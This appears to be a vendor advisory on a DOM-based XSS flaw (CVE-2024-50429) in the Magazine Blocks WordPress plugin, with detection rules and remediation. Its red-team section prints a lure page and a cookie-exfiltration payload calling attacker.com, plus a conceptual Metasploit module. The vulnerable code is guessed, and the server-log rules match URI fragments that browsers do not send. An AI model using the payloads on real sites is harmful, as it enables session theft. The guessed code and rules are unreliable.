CVE-2024-50429

Executive Summary

CVE-2024-50429 is a DOM-Based Cross-Site Scripting (XSS) vulnerability found in the Magazine Blocks WordPress plugin (by BlockArt) version 1.3.15 and earlier. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. This is a client-side attack vector that does not require authentication, but does require user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. No public exploit code or patch is currently available, making this a high-priority monitoring and mitigation issue for WordPress administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• No patch is available from the vendor (BlockArt) as of this report.
• The plugin is actively used on live WordPress sites, increasing the attack surface.
• DOM-based XSS can be exploited without server-side detection, bypassing traditional WAF rules.
• Administrators should immediately audit their sites for the presence of magazine-blocks version <= 1.3.15 and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the prevalence of WordPress sites make this a significant concern for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS flaw in the magazine-blocks plugin. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The vulnerable JavaScript code within the plugin reads data from an attacker-controllable source (e.g., document.location.hash, document.location.search, or window.name) and writes it to a sink (e.g., innerHTML, document.write, or eval) without proper sanitization.

Attack Flow:

1. An attacker crafts a malicious URL containing a payload in the fragment identifier (e.g., https://victim-site.com/#<script>alert('XSS')</script>).
2. The victim clicks the link (or is redirected via a phishing email).
3. The browser loads the WordPress page, and the magazine-blocks JavaScript executes.
4. The script reads the fragment identifier and injects it into the DOM without sanitization.
5. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The plugin fails to validate or encode user input before using it in DOM manipulation functions. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (magazine-blocks <= 1.3.15)
var hash = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = hash;

A patched version would sanitize the input:

// Patched code (hypothetical)
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('some-element').innerHTML = sanitized;

Or use safe DOM methods:

// Alternative patched code
var hash = window.location.hash.substring(1);
var textNode = document.createTextNode(hash);
document.getElementById('some-element').appendChild(textNode);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with magazine-blocks <= 1.3.15 active.
• Victim must click a crafted link.

Proof-of-Concept (PoC): Since no public exploit exists, the following is a conceptual PoC:

<!-- PoC HTML page to lure victim -->
<!DOCTYPE html>
<html>
<head>
    <title>Click Me</title>
</head>
<body>
    <a href="https://victim-site.com/#<img src=x onerror=alert(document.cookie)>">Click here for a free gift!</a>
</body>
</html>

Advanced Payload:

// Steal cookies and send to attacker server
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);

Metasploit Module (Conceptual):

# auxiliary/client/http/wordpress_magazine_blocks_domxss.rb
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WordPress Magazine Blocks DOM XSS',
      'Description' => 'Exploits DOM XSS in magazine-blocks plugin',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2024-50429']]
    ))
  end
  def run
    # Craft malicious URL
    payload = "<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>"
    url = "https://victim-site.com/##{payload}"
    print_good("Send victim to: #{url}")
  end
end

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor web server logs for requests containing #<script or #<img patterns.
2. Use browser-based CSP headers to block inline scripts.
3. Deploy a WAF rule to block fragment identifiers containing HTML tags.

Hardening:

• Disable the magazine-blocks plugin until a patch is released.
• Implement Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Use Subresource Integrity (SRI) for all external scripts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing #<script or #<img in the URI fragment.
  • Outbound connections to unknown domains from the victim's browser (cookie exfiltration).
• File IOCs:
  • Presence of magazine-blocks plugin version <= 1.3.15 in /wp-content/plugins/magazine-blocks/.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser without user action.
  • Unusual document.cookie access patterns.

Detection Engineering

YARA Rule

rule CVE_2024_50429_DOM_XSS {
    meta:
        description = "Detects vulnerable magazine-blocks plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50429"
    strings:
        $vuln_func = "window.location.hash" ascii wide nocase
        $vuln_sink = ".innerHTML" ascii wide nocase
    condition:
        $vuln_func and $vuln_sink
}

Sigma Rule

title: CVE-2024-50429 DOM XSS in Magazine Blocks
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of DOM XSS in magazine-blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50429 DOM XSS Exploit Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2024-50429;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete magazine-blocks from all WordPress installations until a patch is released.
2. Implement CSP: Add the following header to your web server configuration:

   Content-Security-Policy: script-src 'self'; object-src 'none';
   

3. Monitor logs: Review web server access logs for suspicious fragment identifiers.

Long-Term Actions:

• Subscribe to the WordPress plugin repository for updates on magazine-blocks.
• Conduct a security audit of all WordPress plugins for similar DOM-based XSS vulnerabilities.
• Educate users about phishing links containing # fragments.

Patch Status: UNKNOWN / UNPATCHED. No official patch from BlockArt is available as of this report. Administrators should consider forking the plugin and applying the fix themselves if the plugin is critical.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10